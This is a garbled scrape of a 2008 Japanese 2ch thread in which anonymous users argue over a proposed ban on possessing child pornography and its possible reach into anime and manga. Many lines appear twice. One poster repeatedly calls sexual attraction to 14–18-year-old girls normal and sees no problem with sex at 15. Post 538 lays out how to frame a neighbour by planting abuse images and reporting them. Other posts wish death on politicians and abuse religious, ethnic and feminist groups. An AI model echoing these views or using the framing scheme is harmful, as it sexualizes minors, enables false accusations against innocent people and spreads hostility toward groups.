実際に、陥れた側はスルーで、単純所持側が捕まるケースが続発すると思う。
492 ：名無しさん＠九周年：2008/08/20(水) 12:19:22 ID:872mlZ7AO
実写は所持禁止でいいだろ。
反対するやつはロリコンなのか？
反対するやつはロリコンなのか？
実際にはいきなり家宅捜査なんてできないんだし何の効果もない法改正になると思う
打撃を受けるのはアニメ漫画業界、表現の自由奪われて衰退していくだろうな
日本の世界で通用する産業を自ら潰そうとする売国政治家しねよ
創価学会なんかにのせられたら日本をもっとメチャメチャにされる
打撃を受けるのはアニメ漫画業界、表現の自由奪われて衰退していくだろうな
日本の世界で通用する産業を自ら潰そうとする売国政治家しねよ
創価学会なんかにのせられたら日本をもっとメチャメチャにされる
>>487
【広島】１５歳少年に現金を支払い、ホテルでいかがわしい行為…５１歳女を児童買春容疑で逮捕
http://mamono.2ch.net/test/read.cgi/newsplus/1219159185/
【広島】１５歳少年に現金を支払い、ホテルでいかがわしい行為…５１歳女を児童買春容疑で逮捕
http://mamono.2ch.net/test/read.cgi/newsplus/1219159185/
実写だから問題というのは建前で
実際には“ロリコン”が志向するものをどんどん潰して行きたい意向だろ
実際には“ロリコン”が志向するものをどんどん潰して行きたい意向だろ
497 ：名無しさん＠九周年：2008/08/20(水) 12:21:17 ID:EcofcqPc0
498 ：名無しさん＠九周年：2008/08/20(水) 12:21:33 ID:goo4DzbW0
>>492
実写もダメ。そもそも単純所持には被害法益がない。
実写もダメ。そもそも単純所持には被害法益がない。
499 ：名無しさん＠九周年：2008/08/20(水) 12:21:42 ID:ADRqHH9w0
綱吉以来の愚策を現代でも見られようとはｗ
500 ：名無しさん＠九周年：2008/08/20(水) 12:21:43 ID:Bv7+hIYx0
よくわからんのだが、
要するにオタクどもや反政府的な連中が
いちゃもんデッチあげとか点数稼ぎとかでブタ箱行きになるか、
自民公明が選挙で惨敗して政権手放すかの
マッチレースってこと？？
凄い時代になったなｗ
要するにオタクどもや反政府的な連中が
いちゃもんデッチあげとか点数稼ぎとかでブタ箱行きになるか、
自民公明が選挙で惨敗して政権手放すかの
マッチレースってこと？？
凄い時代になったなｗ
502 ：名無しさん＠九周年：2008/08/20(水) 12:22:22 ID:FMQlTvPh0
>>487
男女同権。いい言葉ですね。
男女同権。いい言葉ですね。
503 ：名無しさん＠九周年：2008/08/20(水) 12:22:26 ID:d8gUr3oL0
504 ：名無しさん＠九周年：2008/08/20(水) 12:22:44 ID:iEJorCPP0
505 ：中谷達郎：2008/08/20(水) 12:23:07 ID:55xy8eBiO
うむ
506 ：名無しさん＠九周年：2008/08/20(水) 12:23:13 ID:872mlZ7AO
>>498
被写体の人権ではダメかな？
被写体の人権ではダメかな？
507 ：名無しさん＠九周年：2008/08/20(水) 12:23:44 ID:bn9LHFFp0
可決されたらまずジブリと高橋留美子通報な
ビッグネームだから話題になるだろうし
無罪になったら2DはOKという判断になる
ビッグネームだから話題になるだろうし
無罪になったら2DはOKという判断になる
>>493
拡大解釈がいくらでも出来るのでアニメ、漫画の次は
文学、芸術関連も一緒に衰退していく恐れもあるな。
（といかこっちが本命か？）
現実にナチスの退廃芸術追放運動とか共産時代のロシアの
検閲強化という例がある
拡大解釈がいくらでも出来るのでアニメ、漫画の次は
文学、芸術関連も一緒に衰退していく恐れもあるな。
（といかこっちが本命か？）
現実にナチスの退廃芸術追放運動とか共産時代のロシアの
検閲強化という例がある
510 ：名無しさん＠九周年：2008/08/20(水) 12:24:20 ID:WvPt3ejzO
>471
やめてｗ
女が12〜3歳で子供産む国は男より女の平均寿命が短いｗ
出産で氏ぬんだよｗ
やめてｗ
女が12〜3歳で子供産む国は男より女の平均寿命が短いｗ
出産で氏ぬんだよｗ
511 ：名無しさん＠九周年：2008/08/20(水) 12:24:22 ID:LYJG4/0F0
>>479
論外な人間ですね、あなた
あなたのような女性の姿を見ると、女性に対して嫌悪を募らせる一部の男性の心情も理解できますね
あなたが一過性で卒業しようとも、二次元物女性向け児童ポルノのマーケット自体はなくならないわけですよ。
あなたのような人間はね、同じ女性にとっても迷惑ですよ。
論外な人間ですね、あなた
あなたのような女性の姿を見ると、女性に対して嫌悪を募らせる一部の男性の心情も理解できますね
あなたが一過性で卒業しようとも、二次元物女性向け児童ポルノのマーケット自体はなくならないわけですよ。
あなたのような人間はね、同じ女性にとっても迷惑ですよ。
512 ：名無しさん＠九周年：2008/08/20(水) 12:24:50 ID:EcofcqPc0
だいたい公明にアタマ上がらない自民党て一体何なんだかな
臨時国会召集時期について突っ込まれてる福田も目が泳ぐこと泳ぐ事
なんなんだsの意味不明なキョドり方
臨時国会召集時期について突っ込まれてる福田も目が泳ぐこと泳ぐ事
なんなんだsの意味不明なキョドり方
513 ：名無しさん＠九周年：2008/08/20(水) 12:24:50 ID:d8gUr3oL0
>>506ダメどころか誇大妄想の領域だぞ
そんなもののために憲法の基本権を破棄されてたまるか
そんなもののために憲法の基本権を破棄されてたまるか
514 ：名無しさん＠九周年：2008/08/20(水) 12:24:54 ID:goo4DzbW0
人の絵にまでケチ付けられる時代になるのか。つまんねえ世の中だな
欧米が囮捜査やった以上は
“被写体の人権”という理由は建前ということが
明らかになっている
“被写体の人権”という理由は建前ということが
明らかになっている
517 ：中谷達郎：2008/08/20(水) 12:25:54 ID:55xy8eBiO
俺もそう思う
518 ：名無しさん＠九周年：2008/08/20(水) 12:26:01 ID:1wLXOJjv0
はい。すごくロリコンです。初体験は15歳
嫁は28だが、見た目10代 探しに探した、ロリロリの色白な嫁です。
風俗は制服系のコスプレの店しか行きません。
さて、ロリコンは異常ですかｗ
むしろ周りの男性全てに羨ましがられるのですがｗ
14〜18の女性を性的対象に見れないのはオスとして異常だと思うのですが･･･
生殖本能的に大丈夫か？
まあ何にせよ、犯罪率のデータがコレだけ出ているのに、規制は無いだろｗ
自分の嫁や娘が犯罪のターゲットになる率があがるんだよ。
単純に考えて良いのかね〜
オ偉い議員さんの可愛い孫娘がわざわざ危険に晒されることもなかろうに。
嫁は28だが、見た目10代 探しに探した、ロリロリの色白な嫁です。
風俗は制服系のコスプレの店しか行きません。
さて、ロリコンは異常ですかｗ
むしろ周りの男性全てに羨ましがられるのですがｗ
14〜18の女性を性的対象に見れないのはオスとして異常だと思うのですが･･･
生殖本能的に大丈夫か？
まあ何にせよ、犯罪率のデータがコレだけ出ているのに、規制は無いだろｗ
自分の嫁や娘が犯罪のターゲットになる率があがるんだよ。
単純に考えて良いのかね〜
オ偉い議員さんの可愛い孫娘がわざわざ危険に晒されることもなかろうに。
519 ：名無しさん＠九周年：2008/08/20(水) 12:26:11 ID:iEJorCPP0
>>507
あだち充、椎名高志、青山剛晶、松江名俊、鳥山明、桂正和の漫画も未成年の裸や女子の水着が出ているから全て駄目だな。
あだち充、椎名高志、青山剛晶、松江名俊、鳥山明、桂正和の漫画も未成年の裸や女子の水着が出ているから全て駄目だな。
520 ：名無しさん＠九周年：2008/08/20(水) 12:26:19 ID:651Ef1zrO
521 ：名無しさん＠九周年：2008/08/20(水) 12:26:44 ID:RTWEKproO
実際に犯罪の原因になってて取り締まりにより犯罪が減るなら良いんだけどね。
行き場の無くなった欲求が爆発して結果的に犯罪増えました、とか
児ポが貴重・高価になり新たな犯罪の種に〜とかなったら責任とれるんか。
まあやってみないとわかんないんだろうけど…
行き場の無くなった欲求が爆発して結果的に犯罪増えました、とか
児ポが貴重・高価になり新たな犯罪の種に〜とかなったら責任とれるんか。
まあやってみないとわかんないんだろうけど…
522 ：名無しさん＠九周年：2008/08/20(水) 12:27:03 ID:LYJG4/0F0
523 ：名無しさん＠九周年：2008/08/20(水) 12:27:03 ID:EcofcqPc0
>>511
↓議論専用板へ移動願います
http://news24.2ch.net/test/read.cgi/news2/1201315808/l50
ID:LYJG4/0F0に絡みたい人もそちらへﾄﾞｿﾞー
↓議論専用板へ移動願います
http://news24.2ch.net/test/read.cgi/news2/1201315808/l50
ID:LYJG4/0F0に絡みたい人もそちらへﾄﾞｿﾞー
>>507
ムーニーマンとかパンパースとか作ってるところ（ＣＭが児童ポルノ）
ベネッセコーポレーション（たまごクラブ・ひよこクラブが児童ポルノ）
あとはマスゴミのくだらねー水着番組とかもアウト
ジャニーズ系もしょっ引ける
ムーニーマンとかパンパースとか作ってるところ（ＣＭが児童ポルノ）
ベネッセコーポレーション（たまごクラブ・ひよこクラブが児童ポルノ）
あとはマスゴミのくだらねー水着番組とかもアウト
ジャニーズ系もしょっ引ける
526 ：名無しさん＠九周年：2008/08/20(水) 12:27:37 ID:WvPt3ejzO
>511
まあ同じ男からハブられないよう頑張って
まあ同じ男からハブられないよう頑張って
527 ：名無しさん＠九周年：2008/08/20(水) 12:27:46 ID:goo4DzbW0
528 ：名無しさん＠九周年：2008/08/20(水) 12:28:00 ID:OO/sltkH0
>>497
【座談会】裸祭りの是非を考える part３
http://love6.2ch.net/test/read.cgi/gender/1203597945/
じゃあ、これはどう説明する？
これなんて児童ポルノよりひどい児童虐待だろうが。
これについて是非お前らの意見が聞きたい。
【座談会】裸祭りの是非を考える part３
http://love6.2ch.net/test/read.cgi/gender/1203597945/
じゃあ、これはどう説明する？
これなんて児童ポルノよりひどい児童虐待だろうが。
これについて是非お前らの意見が聞きたい。
529 ：名無しさん＠九周年：2008/08/20(水) 12:28:02 ID:puGk+Tzn0
創価、日本ユニセフ、在日フェミババァ、人権左翼
↑規制大好きのモンスタークレーマーのおかげで日本は酷いことに
こいつらは「子供のため」「女性のため」を建前に利権貪ってるだけ
↑規制大好きのモンスタークレーマーのおかげで日本は酷いことに
こいつらは「子供のため」「女性のため」を建前に利権貪ってるだけ
まあ対抗策としては
ジャニーズ系を厳密に規制させることで
男のロリコンに当たるものが女にはいないかのような
ウソを明らかにさせる、という手はアリだな。
ジャニーズ系を厳密に規制させることで
男のロリコンに当たるものが女にはいないかのような
ウソを明らかにさせる、という手はアリだな。
532 ：名無しさん＠九周年：2008/08/20(水) 12:28:40 ID:bn9LHFFp0
>>519何だか中国の文革のようになってきたな
とりあえず犠牲になってもらおう一般に愚法だと知れるように
とりあえず犠牲になってもらおう一般に愚法だと知れるように
>>487
中国の（ry
中国の（ry
なんどでもいうが「性癖」は止められない。
「商売」でポルノを製造している者を叩くべき。
「商売」でポルノを製造している者を叩くべき。
535 ：名無しさん＠九周年：2008/08/20(水) 12:29:26 ID:872mlZ7AO
536 ：名無しさん＠九周年：2008/08/20(水) 12:29:57 ID:WvPt3ejzO
既に規制されてる欧米諸国ですら受け入れられてる高橋や鳥山を対象に出すのは失笑もんだが
537 ：名無しさん＠九周年：2008/08/20(水) 12:29:58 ID:iEJorCPP0
>>520
そいつは同人誌を描いていた訳じゃないような気がする。
その被害者は小さい子ではなかったじゃんｗ
＞京大 アメフト部 集団強姦（２００６）
早稲田 スーパーフリー和田サン事件（２００３）ラグビー部レイプ他多数 不法侵入＆下着物色アイスホッケー部
明治 置石・レイプ・大麻、応援団リーダー部 設立以来長年に渡って後輩を性的リンチして、リンチ被害者の自殺により、ようやくリーダー部を解散処分、その他色々
中央 女子中学生集団輪姦事件、アメフト部
亜細亜 野球部痴漢事件（２００４）
帝京 ラグビー部レイプ
国士舘 サッカー部集団レイプ事件（２００４）、剣道部殺人事件
日大 アイスホッケー部の５人、アパートで２０代女性にレイプ
西日本短大付属北九州市 硬式野球部の４人 未成年少女に猥褻行為を働いたとして４人のうち一人を逮捕
同志社 ラグビー部 集団でわいせつ目的略取（２００７）、野球部 部員に暴行（２００８）
日大 スキー部 １年生男子部員が強姦(ごうかん)致傷事件を起こした
春日部共栄高 野球部 部員が女子に暴行
滝川高 野球部とフットサル仲間 仲間が被害者に性的いじめを行い、被害者が自殺
帯南商高 女子バスケットボール部 顧問教諭が複数の部員に体罰を加えた
金沢高 野球部 部員強制わいせつ逮捕、大会辞退
桐生第一高 野球部 男子生徒は路上で、通りかかった同市の女子高生（１６）に対し、手で口をふさぎ、体を触るなどのわいせつな行為をした
栃木県の元甲子園球児 元野球部 未成年少女に淫行
静岡県のサッカー選手 女子高生をレイプ
兵庫県のサッカー選手 神戸市で女性宅に侵入し下着ドロ
フィギュアコーチ 教え子の中学生に強姦や強制わいせつ
剣道の名門道場館長 合宿にきた女子大生２人をレイプ
２０年間に毎年５５万人も１ヶ所に集まるのに実際には体育会系よりもオタと報道された事件が少ないｗ
そいつは同人誌を描いていた訳じゃないような気がする。
その被害者は小さい子ではなかったじゃんｗ
＞京大 アメフト部 集団強姦（２００６）
早稲田 スーパーフリー和田サン事件（２００３）ラグビー部レイプ他多数 不法侵入＆下着物色アイスホッケー部
明治 置石・レイプ・大麻、応援団リーダー部 設立以来長年に渡って後輩を性的リンチして、リンチ被害者の自殺により、ようやくリーダー部を解散処分、その他色々
中央 女子中学生集団輪姦事件、アメフト部
亜細亜 野球部痴漢事件（２００４）
帝京 ラグビー部レイプ
国士舘 サッカー部集団レイプ事件（２００４）、剣道部殺人事件
日大 アイスホッケー部の５人、アパートで２０代女性にレイプ
西日本短大付属北九州市 硬式野球部の４人 未成年少女に猥褻行為を働いたとして４人のうち一人を逮捕
同志社 ラグビー部 集団でわいせつ目的略取（２００７）、野球部 部員に暴行（２００８）
日大 スキー部 １年生男子部員が強姦(ごうかん)致傷事件を起こした
春日部共栄高 野球部 部員が女子に暴行
滝川高 野球部とフットサル仲間 仲間が被害者に性的いじめを行い、被害者が自殺
帯南商高 女子バスケットボール部 顧問教諭が複数の部員に体罰を加えた
金沢高 野球部 部員強制わいせつ逮捕、大会辞退
桐生第一高 野球部 男子生徒は路上で、通りかかった同市の女子高生（１６）に対し、手で口をふさぎ、体を触るなどのわいせつな行為をした
栃木県の元甲子園球児 元野球部 未成年少女に淫行
静岡県のサッカー選手 女子高生をレイプ
兵庫県のサッカー選手 神戸市で女性宅に侵入し下着ドロ
フィギュアコーチ 教え子の中学生に強姦や強制わいせつ
剣道の名門道場館長 合宿にきた女子大生２人をレイプ
２０年間に毎年５５万人も１ヶ所に集まるのに実際には体育会系よりもオタと報道された事件が少ないｗ
538 ：名無しさん＠九周年：2008/08/20(水) 12:30:10 ID:iDD2fv/80
これ、隣の家と仲が悪かったりすれば、
陥れるのは簡単だろうな。
例えば、回覧板を入れた雨よけのビニールケース。
隣人がべったりと指紋をつけてもってきたそのケースをこっそり
新品と交換し、指紋つきの方にロリ画像や写真集を入れる。
そして夜中に隣の家の庭に埋めて、
「隣人が何やら庭に隠蔽しているのを見た。ロリ趣味だと聞いてる」
と通報。隣人は「隠蔽」していたと認定されれば、意図的に収集して
いたことにもなるわけだから、お縄と。
この改正法が通れば、こんなこともできる可能性がある。
陥れるのは簡単だろうな。
例えば、回覧板を入れた雨よけのビニールケース。
隣人がべったりと指紋をつけてもってきたそのケースをこっそり
新品と交換し、指紋つきの方にロリ画像や写真集を入れる。
そして夜中に隣の家の庭に埋めて、
「隣人が何やら庭に隠蔽しているのを見た。ロリ趣味だと聞いてる」
と通報。隣人は「隠蔽」していたと認定されれば、意図的に収集して
いたことにもなるわけだから、お縄と。
この改正法が通れば、こんなこともできる可能性がある。
539 ：名無しさん＠九周年：2008/08/20(水) 12:30:25 ID:goo4DzbW0
欧米当事国で悪い結果は出まくってるが
それを知らない議員と、道連れで日本に要求して来る米国って
つくづく鬼だと思うな
それを知らない議員と、道連れで日本に要求して来る米国って
つくづく鬼だと思うな
542 ：名無しさん＠九周年：2008/08/20(水) 12:30:52 ID:LYJG4/0F0
543 ：名無しさん＠九周年：2008/08/20(水) 12:30:54 ID:WlykdwaI0
>>1
宗教と洗脳の関係について調べるとか言い出したら与党は大反対なんだろ？
宗教と洗脳の関係について調べるとか言い出したら与党は大反対なんだろ？
544 ：名無しさん＠九周年：2008/08/20(水) 12:31:49 ID:EcofcqPc0
>>535
単純所持禁止したら被写体の人権が守られると？
単純所持禁止したら被写体の人権が守られると？
546 ：名無しさん＠九周年：2008/08/20(水) 12:32:10 ID:TpN74TjLO
>>488
・アニメ、漫画が規制から外れても、書店や出版社の自主規制を通じて悪影響がでる。
・規制推進派の面子。森山、高市、野田その他
・一旦調査対象になれば、「アニメや漫画は悪影響なし」という結論にはなりにくい。
このへんの事があるから騒いでいるんだと思うよ。
・アニメ、漫画が規制から外れても、書店や出版社の自主規制を通じて悪影響がでる。
・規制推進派の面子。森山、高市、野田その他
・一旦調査対象になれば、「アニメや漫画は悪影響なし」という結論にはなりにくい。
このへんの事があるから騒いでいるんだと思うよ。
548 ：名無しさん＠九周年：2008/08/20(水) 12:32:30 ID:872mlZ7AO
>>527
どっちが優先されるかだろ。
どっちが優先されるかだろ。
549 ：名無しさん＠九周年：2008/08/20(水) 12:32:38 ID:1wLXOJjv0
>>531 同意
禁止するから金になり、的になる。
15歳以上の性交渉に何の問題があるんだｗ
自分の孫を守りたいジジイや、性対象に見られない弛んだオヤジの
エゴな法案は懲り懲りだ。
とりあえず法が機能しなくなったときの為に、みな体を鍛えとこうｗ
禁止するから金になり、的になる。
15歳以上の性交渉に何の問題があるんだｗ
自分の孫を守りたいジジイや、性対象に見られない弛んだオヤジの
エゴな法案は懲り懲りだ。
とりあえず法が機能しなくなったときの為に、みな体を鍛えとこうｗ
550 ：名無しさん＠九周年：2008/08/20(水) 12:32:39 ID:goo4DzbW0
551 ：名無しさん＠九周年：2008/08/20(水) 12:32:45 ID:OO/sltkH0
>>542
だから、何度も言うがこの国では「女の性欲は奇麗な性欲、男の性欲は汚い性欲」なんだって。
いい加減、理解しろよ、馬鹿が。
じゃないと、
【座談会】裸祭りの是非を考える part３
http://love6.2ch.net/test/read.cgi/gender/1203597945/
が説明できないだろ！
だから、何度も言うがこの国では「女の性欲は奇麗な性欲、男の性欲は汚い性欲」なんだって。
いい加減、理解しろよ、馬鹿が。
じゃないと、
【座談会】裸祭りの是非を考える part３
http://love6.2ch.net/test/read.cgi/gender/1203597945/
が説明できないだろ！
>>520
監禁王子の被害者は20歳過ぎてるだろ。
監禁王子の被害者は20歳過ぎてるだろ。
レスしてくんなよ。気持ち悪い奴だな
554 ：名無しさん＠九周年：2008/08/20(水) 12:33:49 ID:WvPt3ejzO
>531
つか女の結婚年齢が16歳〜というのに誰も突っ込まないのがヤバイ
つか女の結婚年齢が16歳〜というのに誰も突っ込まないのがヤバイ
ロリ物8大不可思議
・NHKで全国報道される乳児の全裸水浴び映像
・エロゲ設定年齢18歳のどう見ても幼女d(ry
・AV女優15歳の初○験、実はサバ読んでて20歳↑
・新ジャンル、字幕が流れるロリ画像
・幼女で全裸だけど際どい釣り動画
・ガチムチレスリングに際どいタイミングで出演する幼児赤さん
・羊羹に幼女が犯されているッ！いいえ、これはただの文字(AA)です
・幼女フィギュアを練乳漬けにする動画
・NHKで全国報道される乳児の全裸水浴び映像
・エロゲ設定年齢18歳のどう見ても幼女d(ry
・AV女優15歳の初○験、実はサバ読んでて20歳↑
・新ジャンル、字幕が流れるロリ画像
・幼女で全裸だけど際どい釣り動画
・ガチムチレスリングに際どいタイミングで出演する幼児赤さん
・羊羹に幼女が犯されているッ！いいえ、これはただの文字(AA)です
・幼女フィギュアを練乳漬けにする動画
556 ：名無しさん＠九周年：2008/08/20(水) 12:34:26 ID:5F6Y7Mvw0
アメリカの主張は、日本のコンテンツ産業のゆりかごの抹殺。
創価系森山真弓の主張は、誰でも弾圧・誰でも逮捕特権の確保。
どっちにしても反日だよ。
創価系森山真弓の主張は、誰でも弾圧・誰でも逮捕特権の確保。
どっちにしても反日だよ。
児童ポルノとか言ってるけど、要は援助交際している馬鹿売春ガキ女とかを守ろうとか言ってるんだろ？
何でそんな糞を守る必要があるんだ？
他の普通のモノ（誰も児童ポルノとは思わないようなモノ）を犠牲にしかねない悪法を作ってまで、そんなのを守る必要があるのか？
何でそんな糞を守る必要があるんだ？
他の普通のモノ（誰も児童ポルノとは思わないようなモノ）を犠牲にしかねない悪法を作ってまで、そんなのを守る必要があるのか？
558 ：名無しさん＠九周年：2008/08/20(水) 12:35:12 ID:SF+Xj0i20
児童ポルノ禁止法改正は児童ポルノと呼ばれるものの商品価値を高めるだけだね
559 ：名無しさん＠九周年：2008/08/20(水) 12:35:13 ID:OO/sltkH0
ここのスレの人間には今日は是非知識として
【座談会】裸祭りの是非を考える part３
http://love6.2ch.net/test/read.cgi/gender/1203597945/
を覚えて帰ってもらいたい。
【座談会】裸祭りの是非を考える part３
http://love6.2ch.net/test/read.cgi/gender/1203597945/
を覚えて帰ってもらいたい。
>>547
>だからアルバムの家族や友人との
>海水浴の写真でも難癖つけて逮捕できるのが問題なんだよ
どうやって、児童ポルノの基準を満たすんだよ。
わいせつ性を認定できないだろ。
それでどうやって公判維持しようというんだ？
軽く手が触れただけで難癖つけて逮捕できるから
暴行罪は問題だと言ってるようなもんだぞ。
>だからアルバムの家族や友人との
>海水浴の写真でも難癖つけて逮捕できるのが問題なんだよ
どうやって、児童ポルノの基準を満たすんだよ。
わいせつ性を認定できないだろ。
それでどうやって公判維持しようというんだ？
軽く手が触れただけで難癖つけて逮捕できるから
暴行罪は問題だと言ってるようなもんだぞ。
561 ：名無しさん＠九周年：2008/08/20(水) 12:35:56 ID:872mlZ7AO
>>538
その場合、第一通報者は隣の人だということは警察もつかんじゃうわけだよね。
当然被害者のほうは自分は知らないと主張するから、
その次に警察が調べるのはまちがいなく第一通報者のほうだよ。
しかも仲が悪かったという情報もちゃんとつかまれる。
で、何度も言うけど捕まっちゃったときの量刑は
単純所持よりも提供のほうが大きいうえに、こういう悪質なケースは
いきなり懲役食らうかもしれないんだよ。
刑事にじかに聴取されてシラきり通すのはふつうの人にはすごい難しいと思うよ。
その場合、第一通報者は隣の人だということは警察もつかんじゃうわけだよね。
当然被害者のほうは自分は知らないと主張するから、
その次に警察が調べるのはまちがいなく第一通報者のほうだよ。
しかも仲が悪かったという情報もちゃんとつかまれる。
で、何度も言うけど捕まっちゃったときの量刑は
単純所持よりも提供のほうが大きいうえに、こういう悪質なケースは
いきなり懲役食らうかもしれないんだよ。
刑事にじかに聴取されてシラきり通すのはふつうの人にはすごい難しいと思うよ。
563 ：名無しさん＠九周年：2008/08/20(水) 12:36:53 ID:TpN74TjLO
>>536
児童ポルノの定義が異なる
※アメリカでの児童ポルノの定義
未成年（18才未満）と思われる人物の、異性同性に限らず、性器間或いは
性器と口或いは性器と肛門或いは口と肛門の接触を含む、獣姦・ＳＭ・交配行為で、
且つ文学的・芸術的・政治的・科学的な価値のないもの
※日本での定義
１）児童（18才未満）を相手とする、または児童による性交または性交類似行為における児童の姿態
２）他人が児童の性器を触る、または児童が他人の性器を触る児童の姿態で、性欲を興奮させ又は刺激するもの。
３）衣服の全部または一部をつけない児童の姿態で、性欲を興奮させ又は刺激するもの。
児童ポルノの定義が異なる
※アメリカでの児童ポルノの定義
未成年（18才未満）と思われる人物の、異性同性に限らず、性器間或いは
性器と口或いは性器と肛門或いは口と肛門の接触を含む、獣姦・ＳＭ・交配行為で、
且つ文学的・芸術的・政治的・科学的な価値のないもの
※日本での定義
１）児童（18才未満）を相手とする、または児童による性交または性交類似行為における児童の姿態
２）他人が児童の性器を触る、または児童が他人の性器を触る児童の姿態で、性欲を興奮させ又は刺激するもの。
３）衣服の全部または一部をつけない児童の姿態で、性欲を興奮させ又は刺激するもの。
564 ：名無しさん＠九周年：2008/08/20(水) 12:36:53 ID:651Ef1zrO
565 ：名無しさん＠九周年：2008/08/20(水) 12:37:20 ID:EcofcqPc0
>>553
まったくな。
前スレからだがこれも貼っておこう。
＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
｜
｜★★荒らしは放置が一番キライ！★★
｜
｜●重複スレ、板違いスレには誘導リンクを貼って放置！
｜ ウザイと思ったらそのまま放置！
｜
｜▲放置された荒らしは煽りや自作自演であなたのレスを誘います！
｜ ノセられてレスしたらその時点であなたの負け！
｜
｜■反撃は荒らしの滋養にして栄養であり最も喜ぶことです
｜ 荒らしにエサを与えないで下さい
｜
｜☆枯死するまで孤独に暴れさせておいて
｜ ゴミが溜まったら削除が一番です
｜
｜ ｡
Λ Λ ／
(,,ﾟДﾟ)⊃ ｼﾞｭｳﾖｳ!
〜/U /
U U ￣￣￣￣￣￣￣￣￣￣￣￣￣￣
それと
ID:LYJG4/0F0は荒らしだから。
まったくな。
前スレからだがこれも貼っておこう。
＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
｜
｜★★荒らしは放置が一番キライ！★★
｜
｜●重複スレ、板違いスレには誘導リンクを貼って放置！
｜ ウザイと思ったらそのまま放置！
｜
｜▲放置された荒らしは煽りや自作自演であなたのレスを誘います！
｜ ノセられてレスしたらその時点であなたの負け！
｜
｜■反撃は荒らしの滋養にして栄養であり最も喜ぶことです
｜ 荒らしにエサを与えないで下さい
｜
｜☆枯死するまで孤独に暴れさせておいて
｜ ゴミが溜まったら削除が一番です
｜
｜ ｡
Λ Λ ／
(,,ﾟДﾟ)⊃ ｼﾞｭｳﾖｳ!
〜/U /
U U ￣￣￣￣￣￣￣￣￣￣￣￣￣￣
それと
ID:LYJG4/0F0は荒らしだから。
566 ：名無しさん＠九周年：2008/08/20(水) 12:37:37 ID:goo4DzbW0
567 ：名無しさん＠九周年：2008/08/20(水) 12:37:48 ID:bn9LHFFp0
じゃあたまごクラブ・ひよこクラブ通報で
569 ：名無しさん＠九周年：2008/08/20(水) 12:38:18 ID:872mlZ7AO
>>550
ついでに言うと名誉毀損や騒音規制も根っこは似たようなもんだろ。
ついでに言うと名誉毀損や騒音規制も根っこは似たようなもんだろ。
570 ：名無しさん＠九周年：2008/08/20(水) 12:38:36 ID:1wLXOJjv0
>>540 すまん、そんな真面目じゃない。
そして大方同じ趣味(てか大多数だと思うけどｗ)の人は殆どが抑制してるはず。
逆に言えば規制等関係なく抑制できない奴は変わらない。
そして抑制していた奴らの中から
「ガス抜きが禁じられた為に限界〜」
になる奴が出てくる。
ちなみに自分は年齢でどうこうは無いが少なくとも膨らみも無い幼女には興味が無い。
よって、異常だとも思っていない。
上記抑制している欲望がある人らの事も異常だとは思わない
十代少女に欲望を感じない層の方が余程異常ｏｒ正直になれない器の小さい人
に見える。いや、そうなはず。
長文スマン
そして大方同じ趣味(てか大多数だと思うけどｗ)の人は殆どが抑制してるはず。
逆に言えば規制等関係なく抑制できない奴は変わらない。
そして抑制していた奴らの中から
「ガス抜きが禁じられた為に限界〜」
になる奴が出てくる。
ちなみに自分は年齢でどうこうは無いが少なくとも膨らみも無い幼女には興味が無い。
よって、異常だとも思っていない。
上記抑制している欲望がある人らの事も異常だとは思わない
十代少女に欲望を感じない層の方が余程異常ｏｒ正直になれない器の小さい人
に見える。いや、そうなはず。
長文スマン
>>547
そこまでひどくはないだろうがプチエンジェル事件のグダグダっぷりをみる限り
日本もえらそうなことは言えない。
単純所持の規制などして末端のザコロリをモグラたたきしたところでほとんど
無意味だ。ロリは反省してやめられるものじゃない。
そこまでひどくはないだろうがプチエンジェル事件のグダグダっぷりをみる限り
日本もえらそうなことは言えない。
単純所持の規制などして末端のザコロリをモグラたたきしたところでほとんど
無意味だ。ロリは反省してやめられるものじゃない。
572 ：名無しさん＠九周年：2008/08/20(水) 12:39:07 ID:OO/sltkH0
【祭り】裸祭りを語ろうPART5
http://human7.2ch.net/test/read.cgi/sfe/1200667266/
以下レス抜粋
> やっぱり美浜の裸祭りはすごいですね。
> 裸祭り知名度ナンバーワンだけあって、観光客の数には圧倒されるほど。
> 地元のおじちゃん、おばちゃんよりも、観光客のほうが多いんじゃないの？って感じ。
> ビデオカメラも数十台、全裸で走っているイケメン高校生にはフラッシュが焚かれっぱなしで、祭りの荘厳な雰囲気に似つかわしくない、かなり異様な人たちが見物できました（笑）
>
> 地元の若い男の子といろいろ話をしたんだけど、ネットが普及して色々なところで情報が流れるようになってから、観光客もビデオカメラの数もけた違いに増えたっていってました。
> でも、目的はどうであれ、わざわざ遠方から年越ししてまで元旦のお祭りを見に来てくれるのは嬉しいそうです。
> 祭りの雰囲気もとても情緒があって十分愉しめました。
> 来年も行きたいな、と思わせる祭りでしたよ。（男の人のレベルも高いですしね！）
http://human7.2ch.net/test/read.cgi/sfe/1200667266/
以下レス抜粋
> やっぱり美浜の裸祭りはすごいですね。
> 裸祭り知名度ナンバーワンだけあって、観光客の数には圧倒されるほど。
> 地元のおじちゃん、おばちゃんよりも、観光客のほうが多いんじゃないの？って感じ。
> ビデオカメラも数十台、全裸で走っているイケメン高校生にはフラッシュが焚かれっぱなしで、祭りの荘厳な雰囲気に似つかわしくない、かなり異様な人たちが見物できました（笑）
>
> 地元の若い男の子といろいろ話をしたんだけど、ネットが普及して色々なところで情報が流れるようになってから、観光客もビデオカメラの数もけた違いに増えたっていってました。
> でも、目的はどうであれ、わざわざ遠方から年越ししてまで元旦のお祭りを見に来てくれるのは嬉しいそうです。
> 祭りの雰囲気もとても情緒があって十分愉しめました。
> 来年も行きたいな、と思わせる祭りでしたよ。（男の人のレベルも高いですしね！）
573 ：名無しさん＠九周年：2008/08/20(水) 12:39:15 ID:G9e0WmbiO
この法律が成立したとして、どう運用されるかだな。
例えばロリ画像で荒稼ぎって奴が逮捕されたら、客まで一網打尽ってなるのか。
二次元も規制されるとして、どう見ても幼女なんだが作者がこのキャラは十八歳ですって言い張ったらどうなるのか。
単純所持は書類送検程度が通例になるか拘留されるのか。
まあ、ロリコンは死刑って言われても個人的にはふーん、別に良いんじゃん？て感じだけどね。
例えばロリ画像で荒稼ぎって奴が逮捕されたら、客まで一網打尽ってなるのか。
二次元も規制されるとして、どう見ても幼女なんだが作者がこのキャラは十八歳ですって言い張ったらどうなるのか。
単純所持は書類送検程度が通例になるか拘留されるのか。
まあ、ロリコンは死刑って言われても個人的にはふーん、別に良いんじゃん？て感じだけどね。
ジャニーズjrの写真持ってる女は全員逮捕できるなｗ
>>564
で、そのキモヲタとやらがアダルトゲームの影響で犯罪に走ったという根拠は？
